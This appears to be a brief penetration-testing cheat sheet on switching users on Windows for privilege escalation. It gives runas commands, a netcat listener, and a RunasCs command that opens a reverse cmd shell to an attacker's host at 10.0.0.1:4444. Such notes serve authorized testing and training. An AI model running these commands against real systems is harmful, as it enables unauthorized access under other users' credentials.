Switch User on Windows
Last modified: 2024-04-01
Privilege Escalation
Windows
Runas
runas /user:<username> cmd
runas /user:<domain>\<username> cmd
RunasCS
We can spawn another shell as another user with RunasCS.
First, start a listener on local machine.
nc -lvnp 4444
Then execute the following command on target machine.
Replace 10.0.0.1:4444 with your local IP and port.
RunasCs.exe <username> <password> cmd -r 10.0.0.1:4444